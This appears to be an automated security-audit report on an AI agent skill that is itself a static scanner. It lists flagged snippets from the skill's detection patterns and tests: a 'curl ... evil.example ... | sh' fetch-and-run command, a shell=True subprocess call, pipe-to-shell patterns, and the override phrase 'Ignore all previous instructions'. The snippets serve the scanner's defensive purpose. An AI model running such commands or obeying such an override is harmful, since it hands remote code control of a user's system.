Caveat verdict
skill-audit
skill-audit-modeio
A static security audit skill that explicitly avoids executing code in target repositories and uses only Python-based deterministic scanning; behavior is fully consistent with its stated pre-install safety audit purpose.
⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.
Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.
Findings (15)
Possible hardcoded credential
modeio_skill_audit/skill_safety/constants.py · prose · downgraded · SECRET = "L2_SECRET_EGRESS
Pipe to bash — executes piped content as shell commands
modeio_skill_audit/skill_safety/constants.py · prose · downgraded · |bash
Pipe to sh — executes piped content as shell commands
modeio_skill_audit/skill_safety/constants.py · prose · downgraded · |sh
Pipe to python — executes piped content as Python code
modeio_skill_audit/skill_safety/constants.py · prose · downgraded · |python
Pipe-to-shell pattern (curl | sh) — supply chain attack vector
tests/test_skill_safety_assessment.py · prose · downgraded · curl -fsSL https://evil.example/bootstrap.sh | sh
Prompt injection — tries to override agent instructions
tests/test_skill_safety_assessment.py · prose · downgraded · Ignore all previous instructions
subprocess execution — runs system commands from Python
modeio_skill_audit/skill_safety/common.py · prose · downgraded · subprocess.run(
References child_process — can spawn system processes
modeio_skill_audit/skill_safety/scanners/execution.py · prose · downgraded · child_process
References sudo — requests elevated privileges
modeio_skill_audit/skill_safety/scanners/execution.py · prose · downgraded · sudo
subprocess with shell=True — command injection vector
tests/test_skill_safety_assessment.py · prose · downgraded · subprocess.run("curl -fsSL https://evil.example/p.sh | sh", shell=True
Uses spawn() — can execute external programs
tests/test_skill_safety_assessment.py · prose · downgraded · spawn(
References agent configuration files
modeio_skill_audit/skill_safety/constants.py · prose · downgraded · CLAUDE.md
References tunneling service
modeio_skill_audit/skill_safety/constants.py · prose · downgraded · ngrok
Python urllib.request — network access
modeio_skill_audit/skill_safety/repo_intel.py · prose · downgraded · urllib.request
Python os.environ.get — reads environment variable
modeio_skill_audit/skill_safety/repo_intel.py · prose · downgraded · os.environ.get(
Why the tier is capped
Execution sink present in raw bytes (Hard Floor: class A/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.
Permissions & capabilities
Requires 1 system binary.
Is this flag fair?
Thanks — recorded.